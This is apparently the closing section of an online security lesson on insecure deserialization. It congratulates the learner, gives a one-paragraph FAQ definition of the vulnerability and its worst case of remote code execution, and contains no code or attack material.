Woohoo! You've learned what the risks are of insecure deserialization. You’ve also learned how to mitigate it. Also, make sure to check out our lessons on other common vulnerabilities.

FAQs

What is insecure deserialization?

Insecure deserialization is a vulnerability that occurs when attacker-controlled data is deserialized by the server. In the worst case, it can lead to remote code execution.

What to learn next?